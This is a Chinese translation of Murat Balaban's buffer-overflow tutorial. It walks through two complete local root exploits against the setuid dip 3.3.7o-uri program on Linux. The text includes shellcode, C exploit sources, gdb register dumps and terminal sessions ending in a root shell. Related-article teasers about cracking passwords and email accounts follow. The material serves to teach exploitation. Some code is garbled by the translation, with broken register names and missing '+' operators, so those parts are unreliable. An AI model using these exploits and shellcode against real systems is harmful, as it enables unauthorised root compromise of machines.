缓冲区溢出解密四

所属分类: 网络安全 / 加密解密 阅读数: 203
收藏 0 赞 0 分享

来自Aleph1的文章:
“可见这不是一个有效的过程。甚至在知道堆栈开始的位置时,试图猜测偏移地址几乎是不可能的。好的情况下我会需要上百次尝试,坏的情况下会要上千次。问题是我们需要*准确*的猜测出我们代码将开始的地址位置。如果我们偏了大概一个字节,我们将得到一个段侵犯或者无效指令。一个提高我们机会的方法是在我们溢出缓冲区开头填NOP指令。几乎所有的处理器都有NOP指令执行一个空操作。它经常被用来为了时间目的延迟执行。我们将利用它,并且用它们填充我们一半的溢出缓冲区。我们将在中间放置我们的shellcode,接着在它后面跟着返回地址。如果我们走运,而返回地址指向NOP字符串的任何位置,它们将被执行直到它们遇到我们的代码。在Intel构架中,NOP指令是1个字节长在机器码中它转换成0x90。假设堆栈从地址0xFF开始,S表示shell代码,N表示一个NOP指令,新的堆栈可能看起来象这样:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
这里,我们*猜测*地址。通过下面的子程序我们得到了当前存储在ESP寄存器中的地址:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
有了上面这个函数的帮助,我们可以有一个内存中堆栈指针可能在哪儿的*想法*。接着,我们从这个SP的地址中减去偏移量。如果我们足够幸运的话,我们可以猜到缓冲区中一个NOP的地址。(然而,注意到getesp()不返回漏洞程序的ESP。它是我们漏洞利用程序的ESP。它仅仅考虑了一个范围。)
为了阐明这两个方法的不同之处,让我们写两个漏洞利用程序,应用一下目前为止我们所学的。
漏洞利用程序
现在我们知道了,什么是缓冲区溢出,知道如何利用缓冲区溢出覆盖返回地址,知道我们怎样能修改一个函数的返回地址,不必多说了。让我们编写漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中,有一个缓冲区溢出漏洞。在一些Linux发布版本中这个程序是默认setuid。
这个-l选项是有问题的。dip代码没有小心处理这个作为由用户传给程序的一个参数的值,没有边界检测,它仅仅stpcpy()作为参数的任何内容给一些本地缓冲区,这些缓冲区只能存有限的数据;因此增加了一个缓冲区溢出的风险。
漏洞代码如:
l = stpcpy(l, argv[i]);
如果你看stpcpy的手册页($man 3 stpcpy);stpcpy,不考虑它所处理的缓冲区的边界,它把整个数组拷贝给另外一个。这里我们需要做的是:

1.在Aleph的方法中,用一些NULL操作(NOP)填到至少一半的缓冲区,接着放置你的shellcode和猜测一个NOP或者shellcode本身的地址。2.在我们的方法中,由于我们准确的知道我们shellcode在内存中的位置,我们仅仅拷贝这个地址到整个数组。
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Segmentation fault
[murat@victim murat]$
从上面可以看到,当我们写29个ABCD(29 * 4 = 116字节)什么都没有发生,然而当我们写30个ABCD(30 * 4 = 120 bytes)的时候,程序出现了段侵犯。它没有core dump,因为程序是setuid root权限的。让我们成为root,看看当我们给-l选项提供一个120字节的字符串时会发生什么:
[murat@victim murat]$ su
[root@victim murat]# gdb -q /usr/sbin/dip
(no debugging symbols found)...
(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x444342 in ?? ()
(gdb)
(gdb) i r
eax 0xb4 180
ecx 0xb4 180
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x41444342 0x41444342
esi 0x4 4
edi 0x805419e 134562206
eip 0x444342 0x444342
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) 从这里可以看出,堆栈指针(ESP)和这个被保护的返回地址被我们的字符串”ABCD”覆盖了。在Ascii中:
A is 0x41, B is 0x42, C is 0x43, D is 0x44
注意到基本指针寄存器,它是:
ebp 0x41444342 0x41444342
这里的值是ADCB。这也意味着我们不能排列这个字符串。我们需要把字符串左移一个字节,这样ABCD适合一个4字节内存单元。这样的话:
(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax 0xb5 181
ecx 0xb5 181
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x44434241 0x44434241
esi 0x4 4
edi 0x805419e 134562206
eip 0x44434241 0x44434241
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb)
可以看到,我们多加了一个A到我们的缓冲区开头,这样现在EIP和EBP寄存器都是:0x44434241,即我们可以校正我们的字符串了。 我将写两个漏洞利用程序。每一个将用一个不同的方法。第一个将是”经典技术”而另外一个将是环境变量技术。你比较这两个时,你将很容易地看出之间的不同,并且明白没有必要去尝试猜测奇怪的偏移。请注意,环境变量方法只有当是本地漏洞的时候才有用。
这里是用经典方法的:
xdip2.c :
#include
#include
#include
#include
#define BUF 130
#define NOP 0x90
#define ALIGN 1
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
if (argc
让我详细说明这个漏洞利用程序:
我们定义我们的缓冲区为130个字节长,因为一个121字节的数组对于我们来说是足够了,定义NULL操作指令的运算码为0x90,Alignment为1。
记得我们之前为了找到校正所作的吗?
#define BUF 130
#define NOP 0x90
#define ALIGN 1
你已经知道下面是我们的shell生成码:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
这个子程序返回堆栈指针的值。如我以前告诉你们的,这不是漏洞程序的ESP。它是我们漏洞利用程序的ESP,而我们利用这个值仅仅来知道内存中漏洞程序堆栈指针可能的位置。它仅仅是考虑到一个范围:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我们的main():arg[5]是为了execve(),buf[]是我们将供给漏洞缓冲区的。*ap(代表地址指针)是和buf[]的地址联系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
如果这个”漏洞利用者”输入一些值作为一个偏移量,我们从提示的esp中减去这个值,如果没有,我们使用0xbfffd779做为shellcode的地址。我在用gdb调试dip的时候发现了这个地址。它是一个预先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]); 我们让地址指针指向buf ALIGMENT的地址:
ap = (int *)(buf ALIGNMENT);
我们校正我们的缓冲区后,我们先放置返回地址到整个缓冲区:
for (i = 0 ; i < BUF; i = 4)
*ap = ret;
我们将一些NULL操作指令填到缓冲区的前半部:
for (i = 0; i < BUF / 2; i )
buf[i] = NOP;
在NOP后面,我们放置我们的shellcode:
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我们为execve()准备参数,如果你不明白这个去读execve的手册页:
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = NULL;

注意上面我提供buf给-l选项。
接着我们execve(),如果一个错误产生了,我们通过perror()得到这个错误:
execve(arg[0], arg, NULL);
perror(execve);

让我们执行:
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..
bash#
如果我们不知道确切的地址,我们需要猜测偏移量。让我们假设我们不知道这个地址:
让我们首先试以-400作为偏移量:
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P &ucirc;&yuml;: No such file or directory
Segmentation fault
[murat@victim murat]$

啊,让我们试-350:
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P &ucirc;&yuml;: No such file or directory
Illegal Instruction
[murat@victim murat]$
让我们进行另一个猜测:
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
&ucirc;&yuml;: No such file or directory
bash#

然而,如你所见,猜测正确偏移量是非常乏味的。
现在是环境变量方法:
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h> #define BUFSIZE 221
#define ALIGNMENT 1 char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip"); for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret; execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
让我来详细说明这个漏洞利用程序:
我们的main()。我们有一个字母指针数组。因为我们能计算环境指针的地址,我们把shellcode放到第一个环境变量的位置。
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE];
int i; Address pointer points to the aligned address of buffer:
int *ap = (int *)(buf ALIGNMENT);

我们计算我们shellcode的地址。关于我们如何计算地址的细节见上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
从缓冲区的第一个对齐的地址开始,我们放置shellcode的计算地址。我们以四为步长增加i,因为当我们以1为步长增加一个指针的时候,意味
着我们每次对其增加了4个字节。 for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
接着我们execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
因为不需要尝试和猜测,第一次我们就得到root!
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open
/var/lock/LCK..h&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;:
No such file or directory
bash#

因此,两个方法之间的基本不同之处能被列成:
项目 Aleph1的方法 环境变量方法
-------------------- --------------------- ------------------------ 漏洞缓冲区 一半缓冲区被NOP填充, 全部缓冲区用地址填充
接着是shellcode,然后
是地址
sc的放置 我们放置sc在漏洞缓冲 我们放置sc在传递给execve
区里 ()的环境指针里
sc的地址 我们试着猜测sc的地址 我们*知道*sc的地址 小缓冲区 如果sc在缓冲区中不 因为我们已经不把sc放在缓
合适,就很难利用漏洞 冲区,这个就无关紧要了。仅
如果你选择把sc放到 仅4个字节就够了!
环境指针里你将必
须猜测环境指针的
地址
Diffic. Level somewhat harder easier!
最后的文字和致谢
这篇文章原来实际上使用土耳其语写的。由于翻译成英语或者其它语言有很多要求,而且实际上环境变量方法仍然缺少文档,而我认为用英文准备一篇这样的文章是一个很好的主意,还有介绍一个更加易懂的shellcode等等,我就写了这篇文章。这里可能有一些模糊的地方或者甚至是一些需要改正的错误信息。如果你碰巧遇到额,给我email,我将改正它。先行致谢。 - Murat Balaban 致谢:a, matsuri, gargoyle
参考书目: ---------- 0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/) 1. "Smashing the Stack for Fun and Profit" by Aleph1 2.我在许多地方看到过这里我讨论的shellcode。我真的不知道谁第一个写的它所以如果你知道,请告诉我,这样我能在这里加上。

更多精彩内容其他人还在看

黑客教你破解Email账号的三种方法

电子邮件并不是安全的,在邮件的发送、传送和接收整个过程中的每个环节都可能存在薄弱环节,恶意用户如果利用其漏洞,就能够轻易的破解出账号,获得邮件内容。   一、利用邮件服务器操作系统的漏洞   邮件服务器软件是运行在特定的操作系统上的,如Linux、Windo
收藏 0 赞 0 分享

WINDOWS XP登陆来破解pubwin EP 5.0的方法

这边的网吧都用pubwin EP 5.000000069****(忘记勒^_^)的网络管理系统,操作系统用WINDOWS XP,另外还装了还原精灵,呵呵。BIOS、系统、还原精灵、pubwin EP都设置了不同的密码。 我搜索并尝试了网上所谓的破解方法,结果如下: (1)
收藏 0 赞 0 分享

密码破解以及抗击手段

密码与用户帐户的有效利用是网络安全性的最大问题之一。在本文中,Rob Shimonski将研究密码破解:如何以及为何进行密码破解。Rob将只说明渗透网络是多么简单,攻击者如何进入网络、他们使用的工具以及抗击它的方法。   对公司或组织的计算机系统进行的攻击有各种形式
收藏 0 赞 0 分享

加密解密教程:NTFS文件加密初探

我们知道NTFS文件格式可以实现对文件夹的加密,增强了文件的安全性,但因NTFS涉及的细节内容比较复杂,所以用NTFS加密后的文件由于我们的操作不当经常会出现一些问题,比如用户名丢失后、文件密码丢失了等等,都会带来不小的麻烦。今天,我们就来共同探讨一下这方面的问题
收藏 0 赞 0 分享

黑客教你十招学会软件破解大揭密

下面谈到了一些在学习解密过程中经常遇到的问题,本人根据自己的经验简单给大家谈一谈。这些问题对于初学者来说常常是很需要搞明白的,根据我自己的学习经历,如果你直接照着很多破解教程去学习的话,多半都会把自己搞得满头的雾水,因为有很多的概念要么自己不是很清楚,
收藏 0 赞 0 分享

Windows 2000/XP/2003登录密码轻松破解

当你在使用电脑时,不小心将管理员登录密码忘记了,怎么办呢?虽然网上和各IT杂志介绍了很多种破解管理员登录密码的方法,但操作起来都比较麻烦,并且针对不同的系统须要用不同的破解方法。例如,用破解Winodws 2000的方法,来破解Windows XP和Windows 2003就不行
收藏 0 赞 0 分享

安全利刃 EFS的加密方法和解密必知

经常看到对文件和文件夹加密的文章,大多是安装各种软件来实现的,如果你的系统是WinXP/Win2003/2000,就没有必要如此兴师动众地加密了,既不需要你安装软件,也不需要繁琐的操作,因为Windows本身就集成了EFS(Encryption File System-EFS)加
收藏 0 赞 0 分享

防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生

这篇文章为大家详细介绍了如何才能防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

彻底防止计算机泄密、重要涉密人员离职泄密、涉密人员离岗离职前防范举措

近些年企业商业机密泄漏的事件屡有发生,这篇文章主要教大家如何彻底防止计算机泄密、重要涉密人员离职泄密、告诉大家涉密人员离岗离职前的防范举措,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

无需攻击lsass进程即可解密系统管理员密码

Lsass.exe是Windows系统中必不可少的一个进程,属于微软Windows系统中安全机制相关进程。lsass.exe进程主要用于本地安全和登陆策略,同时也管理IP相关安全信息。对lsass.exe进程进行攻击,造成相应的缓冲区溢出,从而解密Windows系统中相关密码的方
收藏 0 赞 0 分享
查看更多